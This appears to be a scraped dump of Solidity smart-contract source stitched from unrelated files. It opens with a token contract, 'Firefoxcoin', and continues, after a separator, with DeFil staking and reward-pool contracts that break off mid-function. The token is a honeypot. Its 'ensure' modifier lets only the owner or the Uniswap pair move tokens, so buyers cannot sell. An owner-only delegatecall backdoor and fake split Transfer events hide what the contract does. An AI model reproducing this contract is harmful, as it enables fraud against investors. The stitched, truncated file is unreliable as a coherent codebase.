emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Firefoxcoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.16;
contract RewardPoolDelegationStorage {
// The FILST token address
address public filstAddress;
// The eFIL token address
address public efilAddress;
/**
* @notice Administrator for this contract
*/
address public admin;
/**
* @notice Pending administrator for this contract
*/
address public pendingAdmin;
/**
* @notice Active implementation
*/
address public implementation;
/**
* @notice Pending implementation
*/
address public pendingImplementation;
}
interface IRewardCalculator {
function calculate(uint filstAmount, uint fromBlockNumber) external view returns (uint);
}
interface IRewardStrategy {
// returns allocated result
function allocate(address staking, uint rewardAmount) external view returns (uint stakingPart, address[] memory others, uint[] memory othersParts);
}
interface IFilstManagement {
function getTotalMintedAmount() external view returns (uint);
function getMintedAmount(string calldata miner) external view returns (uint);
}
contract RewardPoolStorage is RewardPoolDelegationStorage {
// The IFilstManagement
IFilstManagement public management;
// The IRewardStrategy
IRewardStrategy public strategy;
// The IRewardCalculator contract
IRewardCalculator public calculator;
// The address of FILST Staking contract
address public staking;
// The last accrued block number
uint public accrualBlockNumber;
// The accrued reward for each participant
mapping(address => uint) public accruedRewards;
struct Debt {
// accrued index of debts
uint accruedIndex;
// accrued debts
uint accruedAmount;
// The last time the miner repay debts
uint lastRepaymentBlock;
}
// The last accrued index of debts
uint public debtAccruedIndex;
// The accrued debts for each miner
// minerId -> Debt
mapping(string => Debt) public minerDebts;
}
contract RewardPoolDelegator is RewardPoolDelegationStorage {
/**
* @notice Emitted when pendingImplementation is changed
*/
event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation);
/**
* @notice Emitted when pendingImplementation is accepted, which means implementation is updated
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @notice Emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
constructor(address filstAddress_, address efilAddress_) public {
filstAddress = filstAddress_;
efilAddress = efilAddress_;
// Set admin to caller
admin = msg.sender;
}
/*** Admin Functions ***/
function _setPendingImplementation(address newPendingImplementation) external {
require(msg.sender == admin, "admin check");
address oldPendingImplementation = pendingImplementation;
pendingImplementation = newPendingImplementation;
emit NewPendingImplementation(oldPendingImplementation, pendingImplementation);
}
/**
* @notice Accepts new implementation. msg.sender must be pendingImplementation
* @dev Admin function for new implementation to accept it's role as implementation
*/
function _acceptImplementation() external {
// Check caller is pendingImplementation and pendingImplementation ≠ address(0)
require(msg.sender == pendingImplementation && pendingImplementation != address(0), "pendingImplementation check");
// Save current values for inclusion in log
address oldImplementation = implementation;
address oldPendingImplementation = pendingImplementation;
implementation = pendingImplementation;
pendingImplementation = address(0);
emit NewImplementation(oldImplementation, implementation);
emit NewPendingImplementation(oldPendingImplementation, pendingImplementation);
}
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
*/
function _setPendingAdmin(address newPendingAdmin) external {
require(msg.sender == admin, "admin check");
// Save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin with value newPendingAdmin
pendingAdmin = newPendingAdmin;
// Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
*/
function _acceptAdmin() external {
// Check caller is pendingAdmin and pendingAdmin ≠ address(0)
require(msg.sender == pendingAdmin && pendingAdmin != address(0), "pendingAdmin check");
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
}
/**
* @dev Delegates execution to an implementation contract.
* It returns to the external caller whatever the implementation returns
* or forwards reverts.
*/
function () payable external {
// delegate all other functions to current implementation
(bool success, ) = implementation.delegatecall(msg.data);
// solium-disable-next-line security/no-inline-assembly
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(free_mem_ptr, returndatasize) }
}
}
}
// Copied from Compound/ExponentialNoError
/**
* @title Exponential module for storing fixed-precision decimals
* @author DeFil
* @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.
* Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:
* `Exp({mantissa: 5100000000000000000})`.
*/
contract ExponentialNoError {
uint constant expScale = 1e18;
uint constant doubleScale = 1e36;
uint constant halfExpScale = expScale/2;
uint constant mantissaOne = expScale;
struct Exp {
uint mantissa;
}
struct Double {
uint mantissa;
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * expScale}) = 15
*/
function truncate(Exp memory exp) pure internal returns (uint) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mul_ScalarTruncate(Exp memory a, uint scalar) pure internal returns (uint) {
Exp memory product = mul_(a, scalar);
return truncate(product);
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mul_ScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (uint) {
Exp memory product = mul_(a, scalar);
return add_(truncate(product), addend);
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa < right.mantissa;
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa <= right.mantissa;
}
/**
* @dev Checks if left Exp > right Exp.
*/
function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa > right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) pure internal returns (bool) {
return value.mantissa == 0;
}
function safe224(uint n, string memory errorMessage) pure internal returns (uint224) {
require(n < 2**224, errorMessage);
return uint224(n);
}
function safe32(uint n, string memory errorMessage) pure internal returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(uint a, uint b) pure internal returns (uint) {
return add_(a, b, "addition overflow");
}
function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(uint a, uint b) pure internal returns (uint) {
return sub_(a, b, "subtraction underflow");
}
function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b <= a, errorMessage);
return a - b;
}
function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale});
}
function mul_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Exp memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / expScale;
}
function mul_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale});
}
function mul_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Double memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / doubleScale;
}
function mul_(uint a, uint b) pure internal returns (uint) {
return mul_(a, b, "multiplication overflow");
}
function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
if (a == 0 || b == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)});
}
function div_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Exp memory b) pure internal returns (uint) {
return div_(mul_(a, expScale), b.mantissa);
}
function div_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)});
}
function div_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Double memory b) pure internal returns (uint) {
return div_(mul_(a, doubleScale), b.mantissa);
}
function div_(uint a, uint b) pure internal returns (uint) {
return div_(a, b, "divide by zero");
}
function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b > 0, errorMessage);
return a / b;
}
function fraction(uint a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a, doubleScale), b)});
}
}
interface Distributor {
// The asset to be distributed
function asset() external view returns (address);
// Return the accrued amount of account based on stored data
function accruedStored(address account) external view returns (uint);
// Accrue and distribute for caller, but not actually transfer assets to the caller
// returns the new accrued amount
function accrue() external returns (uint);
// Claim asset, transfer the given amount assets to receiver
function claim(address receiver, uint amount) external returns (uint);
}
// Copied from compound/EIP20Interface
/**
* @title ERC 20 Token Standard Interface
* https://eips.ethereum.org/EIPS/eip-20
*/
interface EIP20Interface {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external returns (bool success);
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 amount) external returns (bool success);
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
// Copied from compound/EIP20NonStandardInterface
/**
* @title EIP20NonStandardInterface
* @dev Version of ERC20 with no return values for `transfer` and `transferFrom`
* See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
interface EIP20NonStandardInterface {
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transferFrom(address src, address dst, uint256 amount) external;
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
contract Redistributor is Distributor, ExponentialNoError {
/**
* @notice The superior Distributor contract
*/
Distributor public superior;
// The accrued amount of this address in superior Distributor
uint public superiorAccruedAmount;
// The initial accrual index
uint internal constant initialAccruedIndex = 1e36;
// The last accrued block number
uint public accrualBlockNumber;
// The last accrued index
uint public globalAccruedIndex;
// Total count of shares.
uint internal totalShares;
struct AccountState {
/// @notice The share of account
uint share;
// The last accrued index of account
uint accruedIndex;
/// @notice The accrued but not yet transferred to account
uint accruedAmount;
}
// The AccountState for each account
mapping(address => AccountState) internal accountStates;
/*** Events ***/
// Emitted when dfl is accrued
event Accrued(uint amount, uint globalAccruedIndex);
// Emitted when distribute to a account
event Distributed(address account, uint amount, uint accruedIndex);
// Emitted when account claims asset
event Claimed(address account, address receiver, uint amount);
// Emitted when account transfer asset
event Transferred(address from, address to, uint amount);
constructor(Distributor superior_) public {
// set superior
superior = superior_;
// init accrued index
globalAccruedIndex = initialAccruedIndex;
}
function asset() external view returns (address) {
return superior.asset();
}
// Return the accrued amount of account based on stored data
function accruedStored(address account) external view returns(uint) {
uint storedGlobalAccruedIndex;
if (totalShares == 0) {
storedGlobalAccruedIndex = globalAccruedIndex;
} else {
uint superiorAccruedStored = superior.accruedStored(address(this));
uint delta = sub_(superiorAccruedStored, superiorAccruedAmount);
Double memory ratio = fraction(delta, totalShares);
Double memory doubleGlobalAccruedIndex = add_(Double({mantissa: globalAccruedIndex}), ratio);
storedGlobalAccruedIndex = doubleGlobalAccruedIndex.mantissa;
}
(, uint instantAccountAccruedAmount) = accruedStoredInternal(account, storedGlobalAccruedIndex);
return instantAccountAccruedAmount;
}
// Return the accrued amount of account based on stored data
function accruedStoredInternal(address account, uint withGlobalAccruedIndex) internal view returns(uint, uint) {
AccountState memory state = accountStates[account];
Double memory doubleGlobalAccruedIndex = Double({mantissa: withGlobalAccruedIndex});
Double memory doubleAccountAccruedIndex = Double({mantissa: state.accruedIndex});
if (doubleAccountAccruedIndex.mantissa == 0 && doubleGlobalAccruedIndex.mantissa > 0) {
doubleAccountAccruedIndex.mantissa = initialAccruedIndex;
}
Double memory deltaIndex = sub_(doubleGlobalAccruedIndex, doubleAccountAccruedIndex);
uint delta = mul_(state.share, deltaIndex);
return (delta, add_(state.accruedAmount, delta));
}
function accrueInternal() internal {
uint blockNumber = getBlockNumber();
if (accrualBlockNumber == blockNumber) {
return;
}
uint newSuperiorAccruedAmount = superior.accrue();
if (totalShares == 0) {
accrualBlockNumber = blockNumber;
return;
}
uint delta = sub_(newSuperiorAccruedAmount, superiorAccruedAmount);
Double memory ratio = fraction(delta, totalShares);
Double memory doubleAccruedIndex = add_(Double({mantissa: globalAccruedIndex}), ratio);
// update globalAccruedIndex
globalAccruedIndex = doubleAccruedIndex.mantissa;
superiorAccruedAmount = newSuperiorAccruedAmount;
accrualBlockNumber = blockNumber;
emit Accrued(delta, doubleAccruedIndex.mantissa);
}
/**
* @notice accrue and returns accrued stored of msg.sender
*/
function accrue() external returns (uint) {
accrueInternal();
(, uint instantAccountAccruedAmount) = accruedStoredInternal(msg.sender, globalAccruedIndex);
return instantAccountAccruedAmount;
}
function distributeInternal(address account) internal {
(uint delta, uint instantAccruedAmount) = accruedStoredInternal(account, globalAccruedIndex);
AccountState storage state = accountStates[account];
state.accruedIndex = globalAccruedIndex;
state.accruedAmount = instantAccruedAmount;
// emit Distributed event
emit Distributed(account, delta, globalAccruedIndex);
}
function claim(address receiver, uint amount) external returns (uint) {
address account = msg.sender;
// keep fresh
accrueInternal();
distributeInternal(account);
AccountState storage state = accountStates[account];
require(amount <= state.accruedAmount, "claim: insufficient value");
// claim from superior
require(superior.claim(receiver, amount) == amount, "claim: amount mismatch");
// update storage
state.accruedAmount = sub_(state.accruedAmount, amount);
superiorAccruedAmount = sub_(superiorAccruedAmount, amount);
emit Claimed(account, receiver, amount);
return amount;
}
function claimAll() external {
address account = msg.sender;
// accrue and distribute
accrueInternal();
distributeInternal(account);
AccountState storage state = accountStates[account];
uint amount = state.accruedAmount;
// claim from superior
require(superior.claim(account, amount) == amount, "claim: amount mismatch");
// update storage
state.accruedAmount = 0;
superiorAccruedAmount = sub_(superiorAccruedAmount, amount);
emit Claimed(account, account, amount);
}
function transfer(address to, uint amount) external {
address from = msg.sender;
// keep fresh
accrueInternal();
distributeInternal(from);
AccountState storage fromState = accountStates[from];
uint actualAmount = amount;
if (actualAmount == 0) {
actualAmount = fromState.accruedAmount;
}
require(fromState.accruedAmount >= actualAmount, "transfer: insufficient value");
AccountState storage toState = accountStates[to];
// update storage
fromState.accruedAmount = sub_(fromState.accruedAmount, actualAmount);
toState.accruedAmount = add_(toState.accruedAmount, actualAmount);
emit Transferred(from, to, actualAmount);
}
function getBlockNumber() public view returns (uint) {
return block.number;
}
}
contract Staking is Redistributor {
// The token to deposit
address public property;
/*** Events ***/
// Event emitted when new property tokens is deposited
event Deposit(address account, uint amount);
// Event emitted when new property tokens is withdrawed
event Withdraw(address account, uint amount);
constructor(address property_, Distributor superior_) Redistributor(superior_) public {
property = property_;
}
function totalDeposits() external view returns (uint) {
return totalShares;
}
function accountState(address account) external view returns (uint, uint, uint) {
AccountState memory state = accountStates[account];
return (state.share, state.accruedIndex, state.accruedAmount);
}
// Deposit property tokens
function deposit(uint amount) external returns (uint) {
address account = msg.sender;
// accrue & distribute
accrueInternal();
distributeInternal(account);
// transfer property token in
uint actualAmount = doTransferIn(account, amount);
// update storage
AccountState storage state = accountStates[account];
totalShares = add_(totalShares, actualAmount);
state.share = add_(state.share, actualAmount);
emit Deposit(account, actualAmount);
return actualAmount;
}
// Withdraw property tokens
function withdraw(uint amount) external returns (uint) {
address account = msg.sender;
AccountState storage state = accountStates[account];
require(state.share >= amount, "withdraw: insufficient value");
// accrue & distribute
accrueInternal();
distributeInternal(account);
// decrease total deposits
totalShares = sub_(totalShares, amount);
state.share = sub_(state.share, amount);
// transfer property tokens back to account
doTransferOut(account, amount);
emit Withdraw(account, amount);
return amount;
}
/*** Safe Token ***/
/**
* @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and reverts in that case.
* This will revert due to insufficient balance or insufficient allowance.
* This function returns the actual amount received,
* which may be less than `amount` if there is a fee attached to the transfer.
*
* Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value.
* See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
function doTransferIn(address from, uint amount) internal returns (uint) {
EIP20NonStandardInterface token = EIP20NonStandardInterface(property);
uint balanceBefore = EIP20Interface(property).balanceOf(address(this));
token.transferFrom(from, address(this), amount);
bool success;
assembly {
switch returndatasize()
case 0 { // This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 { // This is a compliant ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set `success = returndata` of external call
}
default { // This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_IN_FAILED");
// Calculate the amount that was *actually* transferred
uint balanceAfter = EIP20Interface(property).balanceOf(address(this));
require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW");
return balanceAfter - balanceBefore; // underflow already checked above, just subtract
}
/**
* @dev Similar to EIP20 transfer, except it handles a False success from `transfer` and returns an explanatory
* error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to
* insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified
* it is >= amount, this should not revert in normal conditions.
*
* Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value.
* See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
function doTransferOut(address to, uint amount) internal {
EIP20NonStandardInterface token = EIP20NonStandardInterface(property);
token.transfer(to, amount);
bool success;
assembly {
switch returndatasize()
case 0 { // This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 { // This is a complaint ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set `success = returndata` of external call
}
default { // This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_OUT_FAILED");
}
}
contract RewardPool is RewardPoolStorage, Distributor, ExponentialNoError {
// The initial accrual index
uint internal constant initialAccruedIndex = 1e36;
/*** Events ***/
// Emitted when accrued rewards
event Accrued(uint stakingPart, address[] others, uint[] othersParts, uint debtAccruedIndex);
// Emitted when claimed rewards
event Claimed(address account, address receiver, uint amount);
// Emitted when distributed debt to miner
event DistributedDebt(string miner, uint debtDelta, uint accruedIndex);
// Emitted when repayment happend
event Repayment(string miner, address repayer, uint amount);
// Emitted when account transfer rewards
event Transferred(address from, address to, uint amount);
// Emitted when strategy is changed
event StrategyChanged(IRewardStrategy oldStrategy, IRewardStrategy newStrategy);
// Emitted when calcaultor is changed
event CalculatorChanged(IRewardCalculator oldCalculator, IRewardCalculator newCalculator);
// Emitted when staking is changed
event StakingChanged(address oldStaking, address newStaking);
// Emitted when management is changed
event ManagementChanged(IFilstManagement oldManagement, IFilstManagement newManagement);
// Emitted when liquditity is added
event LiqudityAdded(address benefactor, address admin, uint addAmount);
constructor() public { }
function asset() external view returns (address) {
return efilAddress;
}
// Return the accrued reward of account based on stored data
function accruedStored(address account) external view returns (uint) {
if (accrualBlockNumber == getBlockNumber() || Staking(staking).totalDeposits() == 0) {
return accruedRewards[account];
}
uint totalFilst = management.getTotalMintedAmount();
// calculate rewards
uint deltaRewards = calculator.calculate(totalFilst, accrualBlockNumber);
// allocate rewards
(uint stakingPart, address[] memory others, uint[] memory othersParts) = strategy.allocate(staking, deltaRewards);
require(others.length == othersParts.length, "IRewardStrategy.allocalte: others length mismatch");
if (staking == account) {
return add_(accruedRewards[staking], stakingPart);
} else {
// add accrued rewards for others
uint sumAllocation = stakingPart;
uint accountAccruedReward = accruedRewards[account];
for (uint i = 0; i < others.length; i ++) {
sumAllocation = add_(sumAllocation, othersParts[i]);
if (others[i] == account) {
accountAccruedReward = add_(accountAccruedReward, othersParts[i]);
}
}
require(sumAllocation == deltaRewards, "sumAllocation mismatch");
return accountAccruedReward;
}
}
// Accrue and distribute for caller, but not actually transfer rewards to the caller
// returns the new accrued amount
function accrue() public returns (uint) {
uint blockNumber = getBlockNumber();
if (accrualBlockNumber == blockNumber) {
return accruedRewards[msg.sender];
}
if (Staking(staking).totalDeposits() == 0) {
accrualBlockNumber = blockNumber;
return accruedRewards[msg.sender];
}
// total number of FILST that participates in dividends
uint totalFilst = management.getTotalMintedAmount();
// calculate rewards
uint deltaRewards = calculator.calculate(totalFilst, accrualBlockNumber);
// allocate rewards
(uint stakingPart, address[] memory others, uint[] memory othersParts) = strategy.allocate(staking, deltaRewards);
require(others.length == othersParts.length, "IRewardStrategy.allocalte: others length mismatch");
// add accrued rewards for staking
accruedRewards[staking] = add_(accruedRewards[staking], stakingPart);
// add accrued rewards for others
uint sumAllocation = stakingPart;
for (uint i = 0; i < others.length; i ++) {
sumAllocation = add_(sumAllocation, othersParts[i]);
accruedRewards[others[i]] = add_(accruedRewards[others[i]], othersParts[i]);
}
require(sumAllocation == deltaRewards, "sumAllocation mismatch");
// accure debts
accureDebtInternal(deltaRewards);
// update accrualBlockNumber
accrualBlockNumber = blockNumber;
// emint event
emit Accrued(stakingPart, others, othersParts, debtAccruedIndex);
return accruedRewards[msg.sender];
}
function accureDebtInternal(uint deltaDebts) internal {
// require(accrualBlockNumber == getBlockNumber(), "freshness check");
uint totalFilst = management.getTotalMintedAmount();
Double memory ratio = fraction(deltaDebts, totalFilst);
Double memory doubleAccruedIndex = add_(Double({mantissa: debtAccruedIndex}), ratio);
// update debtAccruedIndex
debtAccruedIndex = doubleAccruedIndex.mantissa;
}
// Return the accrued debts of miner based on stored data
function accruedDebtStored(string calldata miner) external view returns(uint) {
uint storedGlobalAccruedIndex;
if (accrualBlockNumber == getBlockNumber() || Staking(staking).totalDeposits() == 0) {
storedGlobalAccruedIndex = debtAccruedIndex;
} else {
uint totalFilst = management.getTotalMintedAmount();
uint deltaDebts = calculator.calculate(totalFilst, accrualBlockNumber);
Double memory ratio = fraction(deltaDebts, totalFilst);
Double memory doubleAccruedIndex = add_(Double({mantissa: debtAccruedIndex}), ratio);
storedGlobalAccruedIndex = doubleAccruedIndex.mantissa;
}
(, uint instantAccruedAmount) = accruedDebtStoredInternal(miner, storedGlobalAccruedIndex);
return instantAccruedAmount;
}
// Return the accrued debt of miner based on stored data
function accruedDebtStoredInternal(string memory miner, uint withDebtAccruedIndex) internal view returns(uint, uint) {
Debt memory debt = minerDebts[miner];
Double memory doubleDebtAccruedIndex = Double({mantissa: withDebtAccruedIndex});
Double memory doubleMinerAccruedIndex = Double({mantissa: debt.accruedIndex});
if (doubleMinerAccruedIndex.mantissa == 0 && doubleDebtAccruedIndex.mantissa > 0) {
doubleMinerAccruedIndex.mantissa = initialAccruedIndex;
}
uint minerMintedAmount = management.getMintedAmount(miner);
Double memory deltaIndex = sub_(doubleDebtAccruedIndex, doubleMinerAccruedIndex);
uint delta = mul_(minerMintedAmount, deltaIndex);
return (delta, add_(debt.accruedAmount, delta));
}
// accrue and distribute debt for given miner
function accrue(string memory miner) public {
accrue();
distributeDebtInternal(miner);
}
function distributeDebtInternal(string memory miner) internal {
(uint delta, uint instantAccruedAmount) = accruedDebtStoredInternal(miner, debtAccruedIndex);
Debt storage debt = minerDebts[miner];
debt.accruedIndex = debtAccruedIndex;
debt.accruedAmount = instantAccruedAmount;
// emit Distributed event
emit DistributedDebt(miner, delta, debtAccruedIndex);
}
// Claim rewards, transfer given amount rewards to receiver
function claim(address receiver, uint amount) external returns (uint) {
address account = msg.sender;
// keep fresh
accrue();
